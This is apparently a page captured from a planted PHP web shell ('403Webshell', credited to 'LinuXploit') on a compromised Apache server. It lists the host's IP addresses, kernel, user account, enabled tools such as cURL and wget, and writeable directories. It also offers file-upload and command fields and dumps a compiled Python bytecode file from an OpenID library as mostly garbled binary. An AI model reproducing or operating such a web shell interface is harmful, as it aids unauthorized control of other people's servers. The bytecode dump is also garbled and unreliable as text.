403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/openid/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/openid/__pycache__/kvform.cpython-311.pyc
�

QT�^
��n�ddlZeje��Zgd�ZGd�de��Zd
d�Zd
d�Zd�Z	d	�Z
dS)�N)�seqToKV�kvToSeq�dictToKV�kvToDictc��eZdZdS)�KVFormErrorN)�__name__�
__module__�__qualname__���//usr/lib/python3/dist-packages/openid/kvform.pyrrs�������Dr
rFc�F�����fd�}g}�D�]l\}}t|t��r|�d��}n2t|t��s|d|z��t|��}d|vrt	d|�����d|vrt	d|�����|���|kr|d|����t|t��r|�d��}n2t|t��s|d	|����t|��}d|vrt	d
|�����|���|kr|d|����|�|dz|zdz����nd�|���d��S)
a
Represent a sequence of pairs of strings as newline-terminated
    key:value pairs. The pairs are generated in the order given.

    @param seq: The pairs
    @type seq: [(str, (unicode|str))]

    @return: A string representation of the sequence
    @rtype: bytes
    c�n��d|�d���}�rt|���t�|��dS)NzseqToKV warning: �: �r�logger�warning)�msg�	formatted�seq�stricts  ��r�errzseqToKV.<locals>.errsC����14���c�c�:�	��	&��i�(�(�(��N�N�9�%�%�%�%�%r
�utf-8zConverting key to string: %r�
z1Invalid input for seqToKV: key contains newline: �:z/Invalid input for seqToKV: key contains colon: z(Key has whitespace at beginning or end: zConverting value to string: z3Invalid input for seqToKV: value contains newline: z*Value has whitespace at beginning or end: �)	�
isinstance�bytes�decode�strr�strip�append�join�encode)rrr�lines�k�vs``    rrrs�����&�&�&�&�&�&�
�E�� )� )���1��a����	�����!�!�A�A��A�s�#�#�	��C�.��2�3�3�3��A���A��1�9�9��+�IJ��M�O�O�
O��!�8�8��+�GH�q�K�M�M�
M�
�7�7�9�9��>�>��C�C���D�E�E�E��a����	�����!�!�A�A��A�s�#�#�	��C�C�A�A�8�9�9�9��A���A��1�9�9��+������
�
�7�7�9�9��>�>��C�C�!�!�F�G�G�G�
���Q��W�q�[�4�'�(�(�(�(�
�7�7�5�>�>� � ��)�)�)r
c������fd�}t�t��r��d�����d��}|dr|d��n|d=g}d}|D]�}|dz
}|���s�|�dd��}t|��d	kr�|\}}	|���}
|
|krd
}||||fz��|
s|d|fz��|	���}||	krd}||||	fz��|�|
|f����|d
|z����|S)z�

    After one parse, seqToKV and kvToSeq are inverses, with no warnings::

        seq = kvToSeq(s)
        seqToKV(kvToSeq(seq)) == seq

    @return str
    c�n��d|�d���}�rt|���t�|��dS)NzkvToSeq warning: rr)rr�datars  ��rrzkvToSeq.<locals>.errOsC����14���d�d�;�	��	&��i�(�(�(��N�N�9�%�%�%�%�%r
rr���zDoes not end in a newliner�r�z=In line %d, ignoring leading or trailing whitespace in key %rzIn line %d, got empty keyz?In line %d, ignoring leading or trailing whitespace in value %rz Line %d does not contain a colon)rrr �splitr"�lenr#)
r+rrr&�pairs�line_num�line�pairr'r(�k_s�fmt�v_ss
``           rrrDs�����&�&�&�&�&�&��$����$��{�{�7�#�#���J�J�t���E��R�y����'�(�(�(�(��"�I��E��H��?�?���A�
���z�z�|�|�	���z�z�#�q�!�!���t�9�9��>�>��D�A�q��'�'�)�)�C��a�x�x�.����C�8�Q�-�'�(�(�(��
@���/�8�,�>�?�?�?��'�'�)�)�C��a�x�x�0����C�8�Q�-�'�(�(�(��L�L�#�s��$�$�$�$��C�2�X�=�>�>�>�>��Lr
c�^�tt|�������S�N)r�sorted�items)�ds rrr�s ���6�!�'�'�)�)�$�$�%�%�%r
c�:�tt|����Sr9)�dictr)�ss rrr�s�����
�
���r
)F)�logging�	getLoggerr	r�__all__�
ValueErrorrrrrrrr
r�<module>rDs�������	��	�8�	$�	$��
8�
8�
8��	�	�	�	�	�*�	�	�	�5*�5*�5*�5*�p:�:�:�:�z&�&�&�����r

Youez - 2016 - github.com/yon3zu
LinuXploit